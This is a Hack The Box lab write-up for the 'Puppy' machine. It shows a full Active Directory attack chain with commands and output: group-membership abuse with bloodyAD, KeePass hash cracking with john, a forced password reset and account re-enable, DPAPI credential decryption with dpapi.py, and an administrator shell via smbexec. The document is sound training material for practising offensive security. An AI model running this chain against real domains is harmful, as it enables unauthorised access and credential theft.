Post

HTB - Puppy

in this assume breach scenario, we will add levi.james to the developer group so that we can have access to an encrypted keepass database located in the DEV share, after bruteforcing the database's passwrod, we will open the database and get Ant.Edward's passwrod, from there we will change adam.silver's passwrod and connect to the domain controller to get the user flag. next, with some file enumeration we can find Steph.Cooper's password inside a zip backup file. and finally by pivoting to Steph.Cooper, we can get Steph.Cooper_adm's password from DPAPI credentials and connect to the box to retrieve the root flag.

HTB - Puppy

DEV - Access Denied

from the nmap scan results, we can see that our target is a windows domain controller with the usual services running

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-30 08:31:43Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2049/tcp open  status        1 (RPC #100024)
3260/tcp open  iscsi?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped

inspecting the smb shares, we can see a folder called DEV is shared, however levi.james is not allowed access.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(python-env) deb@debian:~/rexkyris$ smbclient.py puppy/levi.james:'KingofAkron2025!'@10.10.11.70
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# shares
ADMIN$
C$
DEV
IPC$
NETLOGON
SYSVOL
# cd DEV
[-] No share selected
# use DEV
[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
# exit
(python-env) deb@debian:~/rexkyris$

Ant.Edwards - KeePass Database

inspecting the members of the hrgroup, we can see that levi.james is in there

1
2
3
4
5
(python-env) deb@debian:~/rexkyris$ bloodyAD -u levi.james -p 'KingofAkron2025!' -d puppy --host dc.puppy.htb --dc-ip 10.10.11.70 get object hr --attr member

distinguishedName: CN=HR,DC=PUPPY,DC=HTB
member: CN=Levi B. James,OU=MANPOWER,DC=PUPPY,DC=HTB
(python-env) deb@debian:~/rexkyris$

and members of hr have Write Property permission on the developer group as we can see below

1
2
3
4
5
6
7
8
9
10
(python-env) deb@debian:~/rexkyris$ bloodyAD -u levi.james -p 'KingofAkron2025!' -d puppy --host dc.puppy.htb --dc-ip 10.10.11.70 get object developers --resolve-sd
.
.
nTSecurityDescriptor.ACL.2.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.2.Trustee: HR
nTSecurityDescriptor.ACL.2.Right: GENERIC_EXECUTE|WRITE_PROP|READ_PROP
nTSecurityDescriptor.ACL.2.ObjectType: Self
.
.
(python-env) deb@debian:~/rexkyris$

to access the DEV folder we discovrered above, we will add levi.james to the developer group using the genericwrite permission that hr has over the developer group.

1
2
3
(python-env) deb@debian:~/rexkyris$ bloodyAD -u levi.james -p 'KingofAkron2025!' -d puppy --host dc.puppy.htb --dc-ip 10.10.11.70 add groupMember developers levi.james
[+] levi.james added to developers
(python-env) deb@debian:~/rexkyris$

inspecting the DEV folder, a keepass database called recovery.kdbx is found.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(python-env) deb@debian:~/rexkyris$ smbclient.py puppy/levi.james:'KingofAkron2025!'@10.10.11.70
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use DEV
# ls
drw-rw-rw-          0  Sun Jun  1 09:45:43 2025 .
drw-rw-rw-          0  Sat Mar  8 17:52:57 2025 ..
-rw-rw-rw-   34394112  Sun Mar 23 08:09:12 2025 KeePassXC-2.7.9-Win64.msi
drw-rw-rw-          0  Sun Mar  9 21:16:16 2025 Projects
-rw-rw-rw-       2677  Wed Mar 12 03:25:46 2025 recovery.kdbx
# get recovery.kdbx
# exit
(python-env) deb@debian:~/rexkyris$

this databse is encrypted, we need to convert it to a hash that can be cracked, we will use keepass2john for that.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bed@debian:~/rexkyris$ ~/Downloads/john/john-bleeding-jumbo/run/keepass2john recovery.kdbx | grep -o "$keepass$.*" > hash.txt
bed@debian:~/rexkyris$ cat hash.txt 
$keepass$*4*37*ef636ddf*67108864*19*4*bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf2662853527714*d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb92441470*03d9a29a67fb4bb500000400021000000031c1f2e6bf714350be5805216afc5aff0304000000010000000420000000bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf266285352771407100000000ab56ae17c5cebf440092907dac20a350b8b00000000014205000000245555494410000000ef636ddf8c29444b91f7a9a403e30a0c05010000004908000000250000000000000005010000004d080000000000000400000000040100000050040000000400000042010000005320000000d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb9244147004010000005604000000130000000000040000000d0a0d0a*31614848015626f2451cc4d07ce9a281a416c8e8c2ff8cc45c69ce1f4daef0e9
bed@debian:~/rexkyris$ ~/Downloads/john/john-bleeding-jumbo/run/john --format=keepass --wordlist=rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])
Cost 1 (t (rounds)) is 37 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 4 for all loaded hashes
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Failed to use huge pages (not pre-allocated via sysctl? that's fine)
liverpool        (?)     
1g 0:00:00:24 DONE (2025-06-01 01:02) 0.04151g/s 1.494p/s 1.494c/s 1.494C/s purple..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
bed@debian:~/rexkyris$

now we will use the password to open the recovery.kdbx database and get ant.edwards’s domain password Desktop View we can validate this password with nxc

1
2
3
4
deb@debian:~/rexkyris$ nxc smb 10.10.11.70 -u ant.edwards -p 'Antman2025!'
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) 
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\ant.edwards:Antman2025! 
deb@debian:~/rexkyris$

Adam.Silver - FullControl

members of senior devs have GENERIC_ALL over adam.silver user as we can see below

1
2
3
4
5
6
7
8
9
10
(python-env) deb@debian:~/rexkyris$ bloodyAD -u ant.edwards -p 'Antman2025!' -d puppy --host dc.puppy.htb --dc-ip 10.10.11.70 get object adam.silver --resolve-sd
.
.
nTSecurityDescriptor.ACL.6.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.6.Trustee: LOCAL_SYSTEM; SENIOR DEVS
nTSecurityDescriptor.ACL.6.Right: GENERIC_ALL
nTSecurityDescriptor.ACL.6.ObjectType: Self
.
.
(python-env) deb@debian:~/rexkyris$

and ant.edwards is a member of senior devs group

1
2
3
4
5
(python-env) deb@debian:~/rexkyris$ bloodyAD -u ant.edwards -p 'Antman2025!' -d puppy --host dc.puppy.htb --dc-ip 10.10.11.70 get object "SENIOR DEVS" --attr member

distinguishedName: CN=SENIOR DEVS,CN=Builtin,DC=PUPPY,DC=HTB
member: CN=Anthony J. Edwards,DC=PUPPY,DC=HTB
(python-env) deb@debian:~/rexkyris$

with GenericAll right, we can change adam.silver’s password

1
2
3
(python-env) deb@debian:~/rexkyris$ bloodyAD -u ant.edwards -p 'Antman2025!' -d puppy --host dc.puppy.htb --dc-ip 10.10.11.70 set password adam.silver 'P@ssw0rd!123'
[+] Password changed successfully!
(python-env) deb@debian:~/rexkyris$

Steph.Cooper - nms-auth-config.xml.bak

adam.silver is a member of the remote management users group and this user is disabled.

1
2
3
4
5
6
(python-env) deb@debian:~/rexkyris$ bloodyAD -u ant.edwards -p 'Antman2025!' -d puppy --host dc.puppy.htb --dc-ip 10.10.11.70 get object adam.silver --attr memberof,userAccountControl

distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
memberOf: CN=DEVELOPERS,DC=PUPPY,DC=HTB; CN=Remote Management Users,CN=Builtin,DC=PUPPY,DC=HTB
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
(python-env) deb@debian:~/rexkyris$

using ant.edwards, we will remove the ACCOUNTDISABLE flag for adam.silver because ant.edwards has GenericAll over adam.silver

1
2
3
(python-env) deb@debian:~/rexkyris$ bloodyAD -u ant.edwards -p 'Antman2025!' -d puppy --host dc.puppy.htb --dc-ip 10.10.11.70 remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl
(python-env) deb@debian:~/rexkyris$

we can access the domain controller using evil-winrm and get the first flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
deb@debian:~/rexkyris$ evil-winrm -i 10.10.11.70 -u adam.silver -p 'P@ssw0rd!123'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents> ls ~/Desktop


    Directory: C:\Users\adam.silver\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         2/28/2025  12:31 PM           2312 Microsoft Edge.lnk
-ar---         5/30/2025  11:08 AM             34 user.txt


*Evil-WinRM* PS C:\Users\adam.silver\Documents> exit
                                        
Info: Exiting with code 0
deb@debian:~/rexkyris$

a backup file called site-backup-2024-12-30.zip located in C:\backup contains Steph.Cooper’s password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS C:\backups> Expand-Archive -Path site-backup-2024-12-30.zip
*Evil-WinRM* PS C:\backups> ls


    Directory: C:\backups


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          6/1/2025   2:47 AM                site-backup-2024-12-30
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip


*Evil-WinRM* PS C:\backups>

the password is in nms-auth-config.xml.bak file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
*Evil-WinRM* PS C:\backups\site-backup-2024-12-30\puppy> cat nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>
*Evil-WinRM* PS C:\backups\site-backup-2024-12-30\puppy> exit
                                        
Info: Exiting with code 0
deb@debian:~/rexkyris$

Steph.Cooper_adm - DPAPI

using winrm we will login to the domain controller as Steph.Cooper and download the master key and the credential file found under C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> and C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials

1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> download 556a2412-1275-4ccf-b721-e6a0b4f90407
                                        
Info: Downloading C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 to 556a2412-1275-4ccf-b721-e6a0b4f90407
                                        
Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError

          rescue EstandardError => err
                 ^^^^^^^^^^^^^^
Did you mean?  StandardError
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> ls -force


    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:54 AM            414 C8D69EBE9A43E9DEBF6B5FBD48B521B9


*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> download C8D69EBE9A43E9DEBF6B5FBD48B521B9
                                        
Info: Downloading C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 to C8D69EBE9A43E9DEBF6B5FBD48B521B9
                                        
Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError

          rescue EstandardError => err
                 ^^^^^^^^^^^^^^
Did you mean?  StandardError
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials>

with cooper’s password, we can decrypt the master key using dpapi.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(python-env) deb@debian:~/rexkyris$ dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
(python-env) deb@debian:~/rexkyris$

now we can decrypt the credential file using the decrypted master key and after decryption we will get steph.cooper_adm’s password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(python-env) deb@debian:~/rexkyris$ dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description : 
Unknown     : 
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!

(python-env) deb@debian:~/rexkyris$

finally, the user steph.cooper_adm is an administrator, by using smbexec, we can connect to the domain controller and retrieve the root flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(python-env) deb@debian:~/rexkyris$ smbexec.py puppy.htb/steph.cooper_adm:'FivethChipOnItsWay2025!'@10.10.11.70
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>dir c:\users\administrator\desktop
 Volume in drive C has no label.
 Volume Serial Number is 311D-593C

 Directory of c:\users\administrator\desktop

05/12/2025  07:34 PM    <DIR>          .
03/11/2025  09:14 PM    <DIR>          ..
05/30/2025  11:08 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   5,771,374,592 bytes free

C:\Windows\system32>exit
(python-env) deb@debian:~/rexkyris$
This post is licensed under CC BY 4.0 by the author.